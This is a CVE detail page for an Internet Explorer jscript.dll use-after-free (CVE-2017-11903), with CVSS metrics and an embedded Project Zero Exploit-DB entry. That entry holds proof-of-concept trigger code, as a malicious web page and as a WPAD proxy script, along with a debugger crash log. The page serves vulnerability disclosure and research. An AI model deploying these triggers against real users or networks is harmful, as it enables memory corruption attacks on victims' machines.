CVE-2017-11903 : Detail

CVE-2017-11903

7.5
/
High
Overflow
89.75%V3
Network
2017-12-12
21h00 +00:00
2024-09-16
20h28 +00:00
CVE.org
NVD
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CVE Descriptions

Internet Explorer in Microsoft Windows 7 SP1, Windows Server 2008 and R2 SP1, Windows 8.1 and Windows RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, 1703, 1709, and Windows Server 2016 allows an attacker to gain the same user rights as the current user, due to how Internet Explorer handles objects in memory, aka "Scripting Engine Memory Corruption Vulnerability". This CVE ID is unique from CVE-2017-11886, CVE-2017-11889, CVE-2017-11890, CVE-2017-11893, CVE-2017-11894, CVE-2017-11895, CVE-2017-11901, CVE-2017-11905, CVE-2017-11907, CVE-2017-11908, CVE-2017-11909, CVE-2017-11910, CVE-2017-11911, CVE-2017-11912, CVE-2017-11913, CVE-2017-11914, CVE-2017-11916, CVE-2017-11918, and CVE-2017-11930.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 43367

Publication date : 2017-12-18 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1376 There is a use-after-free vulnerability in jscript.dll. This issue could potentially be exploited through multiple vectors: - An attacker on the local network could exploit this issue by posing as a WPAD (Web Proxy Auto-Discovery) host and sending a malicious wpad.dat file to the victim. This works because wpad.dat files are JavaScript files interpreted with jscript.dll on the WPAD client. Note that, in this case, an attacker who successfully exploited the vulnerability would gain the same privileges as the WinHTTP Web Proxy Auto-Discovery Service. - The issue can also be exploited by opening a malicious web page in Internet Explorer. The issue has been verified on 64-bit Win7 with the most recent patches applied. PoC for Internet Explorer (might require page heap to trigger the crash): ============================================ --> <!-- saved from url=(0014)about:internet --> <meta http-equiv="X-UA-Compatible" content="IE=8"></meta> <script language="Jscript.Encode"> var vars = new Array(100); for(var i=0;i<100;i++) vars[i] = {}; function f() { vars[1] = 1; CollectGarbage(); return {}; } vars[1].toString = f; Array.prototype.join.call(vars); </script> <!-- ============================================ PoC for WPAD (might require page heap to trigger the crash): ============================================ function FindProxyForURL(url, host) { var vars = new Array(100); for(var i=0;i<100;i++) vars[i] = {}; function f() { vars[1] = 1; CollectGarbage(); return {}; } vars[1].toString = f; Array.prototype.join.call(vars); return "DIRECT"; } =========================================== Technical details: The issue is in NameTbl::GetValDef which is called when an object is converted to a string. The function attempts to call toString() or valueOf() of the NameTbl object 2 times or until the return value isn't an JavaScript object. The issue is that the NameTbl object on which these methods are called isn't explicitly tracked by the garbage collector, which means the object can be deleted inside the toString/valueOf callback (as long as it's not tracked by the garbage collector somewhere else). Basically, toString/valueOf can delete its 'this' object. Note that the crash location in the Debug log immediately precedes a virtual method call. Debug log (from IE, but it looks similar in the WPAD service): ============================================ (a68.e4c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. jscript!NameTbl::GetValDef+0x58: 000007fe`f5dea398 498b06 mov rax,qword ptr [r14] ds:00000000`044d9f90=???????????????? 0:013> r rax=0000000000000001 rbx=000007fef5d7bd50 rcx=00000000044acfa0 rdx=0000000000000000 rsi=0000000012b49fb8 rdi=0000000000000001 rip=000007fef5dea398 rsp=0000000012b49ae0 rbp=0000000000000000 r8=0000000004309f20 r9=0000000004309670 r10=0000000000000081 r11=0000000012b49a60 r12=0000000000000080 r13=0000000000000008 r14=00000000044d9f90 r15=0000000000000000 iopl=0 nv up ei ng nz ac po cy cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297 jscript!NameTbl::GetValDef+0x58: 000007fe`f5dea398 498b06 mov rax,qword ptr [r14] ds:00000000`044d9f90=???????????????? 0:013> k # Child-SP RetAddr Call Site 00 00000000`12b49ae0 000007fe`f5dad069 jscript!NameTbl::GetValDef+0x58 01 00000000`12b49b70 000007fe`f5d7de69 jscript!NameTbl::InvokeInternal+0xb07 02 00000000`12b49c90 000007fe`f5d7bf3b jscript!VAR::GetValue+0xa1 03 00000000`12b49ce0 000007fe`f5ddb65d jscript!ConvertToString+0x5b 04 00000000`12b49f60 000007fe`f5d7c2ec jscript!JsArrayJoin+0x38d 05 00000000`12b4a060 000007fe`f5d7a9fe jscript!NatFncObj::Call+0x138 06 00000000`12b4a110 000007fe`f5d786ea jscript!NameTbl::InvokeInternal+0x3f8 07 00000000`12b4a230 000007fe`f5dcdd72 jscript!VAR::InvokeByDispID+0xffffffff`ffffffea 08 00000000`12b4a280 000007fe`f5d7c2ec jscript!JsFncCall+0xc2 09 00000000`12b4a310 000007fe`f5d7a9fe jscript!NatFncObj::Call+0x138 0a 00000000`12b4a3c0 000007fe`f5d7b234 jscript!NameTbl::InvokeInternal+0x3f8 0b 00000000`12b4a4e0 000007fe`f5d79852 jscript!VAR::InvokeByName+0x81c 0c 00000000`12b4a6f0 000007fe`f5d79929 jscript!VAR::InvokeDispName+0x72 0d 00000000`12b4a770 000007fe`f5d724b8 jscript!VAR::InvokeByDispID+0x1229 0e 00000000`12b4a7c0 000007fe`f5d78ec2 jscript!CScriptRuntime::Run+0x5a6 0f 00000000`12b4b5c0 000007fe`f5d78d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162 10 00000000`12b4b7d0 000007fe`f5d78b95 jscript!ScrFncObj::Call+0xb7 11 00000000`12b4b870 000007fe`f5d7e6c0 jscript!CSession::Execute+0x19e 12 00000000`12b4b940 000007fe`f5d870e7 jscript!COleScript::ExecutePendingScripts+0x17a 13 00000000`12b4ba10 000007fe`f5d868d6 jscript!COleScript::ParseScriptTextCore+0x267 14 00000000`12b4bb00 000007fe`ead55251 jscript!COleScript::ParseScriptText+0x56 15 00000000`12b4bb60 000007fe`eb4db320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1 16 00000000`12b4bbe0 000007fe`ead56256 MSHTML!CScriptCollection::ParseScriptText+0x37f 17 00000000`12b4bcc0 000007fe`ead55c8e MSHTML!CScriptData::CommitCode+0x3d9 18 00000000`12b4be90 000007fe`ead55a11 MSHTML!CScriptData::Execute+0x283 19 00000000`12b4bf50 000007fe`eb5146fb MSHTML!CHtmScriptParseCtx::Execute+0x101 1a 00000000`12b4bf90 000007fe`eadf8a5b MSHTML!CHtmParseBase::Execute+0x235 1b 00000000`12b4c030 000007fe`eacd2e39 MSHTML!CHtmPost::Broadcast+0x90 1c 00000000`12b4c070 000007fe`ead2caef MSHTML!CHtmPost::Exec+0x4bb 1d 00000000`12b4c280 000007fe`ead2ca40 MSHTML!CHtmPost::Run+0x3f 1e 00000000`12b4c2b0 000007fe`ead2da12 MSHTML!PostManExecute+0x70 1f 00000000`12b4c330 000007fe`ead30843 MSHTML!PostManResume+0xa1 20 00000000`12b4c370 000007fe`ead16fc7 MSHTML!CHtmPost::OnDwnChanCallback+0x43 21 00000000`12b4c3c0 000007fe`eb544f78 MSHTML!CDwnChan::OnMethodCall+0x41 22 00000000`12b4c3f0 000007fe`eac39d75 MSHTML!GlobalWndOnMethodCall+0x240 23 00000000`12b4c490 00000000`77709bbd MSHTML!GlobalWndProc+0x150 24 00000000`12b4c510 00000000`777098c2 USER32!UserCallWinProcCheckWow+0x1ad 25 00000000`12b4c5d0 000007fe`f2be4a87 USER32!DispatchMessageWorker+0x3b5 26 00000000`12b4c650 000007fe`f2bebabb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555 27 00000000`12b4f8d0 000007fe`fe88572f IEFRAME!LCIETab_ThreadProc+0x3a3 28 00000000`12b4fa00 000007fe`f5ff925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f 29 00000000`12b4fa30 00000000`775e59cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f 2a 00000000`12b4fa80 00000000`7781a561 kernel32!BaseThreadInitThunk+0xd 2b 00000000`12b4fab0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d 0:013> !heap -p -a 00000000`044d9f90 address 00000000044d9f90 found in _DPH_HEAP_ROOT @ 3fd1000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 3fe0680: 44d9000 2000 000007fef5f78726 verifier!AVrfDebugPageHeapFree+0x00000000000000a2 00000000778b4255 ntdll!RtlDebugFreeHeap+0x0000000000000035 000000007785797c ntdll! ?? ::FNODOBFM::`string'+0x000000000000e982 000007feff2110c8 msvcrt!free+0x000000000000001c 000007fef5d7bad2 jscript!NativeErrorProtoObj<16>::`vector deleting destructor'+0x0000000000000022 000007fef5d7b938 jscript!NameTbl::SetMasterVariant+0x000000000000a240 000007fef5d942cb jscript!GcAlloc::ReclaimGarbage+0x000000000000034d 000007fef5d719e2 jscript!GcContext::Reclaim+0x00000000000000ae 000007fef5d81956 jscript!GcContext::CollectCore+0x000000000000018b 000007fef5d817a5 jscript!GcContext::Collect+0x0000000000000025 000007fef5dc42f3 jscript!JsCollectGarbage+0x0000000000000023 000007fef5d7c2ec jscript!NatFncObj::Call+0x0000000000000138 000007fef5d7c199 jscript!NameTbl::InvokeInternal+0x0000000000000377 000007fef5d786ea jscript!VAR::InvokeByDispID+0xffffffffffffffea 000007fef5d724b8 jscript!CScriptRuntime::Run+0x00000000000005a6 000007fef5d78ec2 jscript!ScrFncObj::CallWithFrameOnStack+0x0000000000000162 000007fef5d78d2b jscript!ScrFncObj::Call+0x00000000000000b7 000007fef5da2084 jscript!NameTbl::InvokeInternal+0x000000000000060f 000007fef5d786ea jscript!VAR::InvokeByDispID+0xffffffffffffffea 000007fef5dea422 jscript!NameTbl::GetValDef+0x00000000000000e2 000007fef5dad069 jscript!NameTbl::InvokeInternal+0x0000000000000b07 000007fef5d7de69 jscript!VAR::GetValue+0x00000000000000a1 000007fef5d7bf3b jscript!ConvertToString+0x000000000000005b 000007fef5ddb65d jscript!JsArrayJoin+0x000000000000038d 000007fef5d7c2ec jscript!NatFncObj::Call+0x0000000000000138 000007fef5d7a9fe jscript!NameTbl::InvokeInternal+0x00000000000003f8 000007fef5d786ea jscript!VAR::InvokeByDispID+0xffffffffffffffea 000007fef5dcdd72 jscript!JsFncCall+0x00000000000000c2 000007fef5d7c2ec jscript!NatFncObj::Call+0x0000000000000138 000007fef5d7a9fe jscript!NameTbl::InvokeInternal+0x00000000000003f8 000007fef5d7b234 jscript!VAR::InvokeByName+0x000000000000081c 000007fef5d79852 jscript!VAR::InvokeDispName+0x0000000000000072 0:013> u rip jscript!NameTbl::GetValDef+0x58: 000007fe`f5dea398 498b06 mov rax,qword ptr [r14] 000007fe`f5dea39b 488b98e0000000 mov rbx,qword ptr [rax+0E0h] 000007fe`f5dea3a2 488bcb mov rcx,rbx 000007fe`f5dea3a5 ff15b5320400 call qword ptr [jscript!_guard_check_icall_fptr (000007fe`f5e2d660)] 000007fe`f5dea3ab 488b54fc40 mov rdx,qword ptr [rsp+rdi*8+40h] 000007fe`f5dea3b0 4c8d442450 lea r8,[rsp+50h] 000007fe`f5dea3b5 498bce mov rcx,r14 000007fe`f5dea3b8 ffd3 call rbx ============================================ -->

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 10

Microsoft>>Windows_server_2012 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 9

Microsoft>>Windows_server_2008 >> Version -

References

http://www.securityfocus.com/bid/102047
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1039991
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/43367/
Tags : exploit, x_refsource_EXPLOIT-DB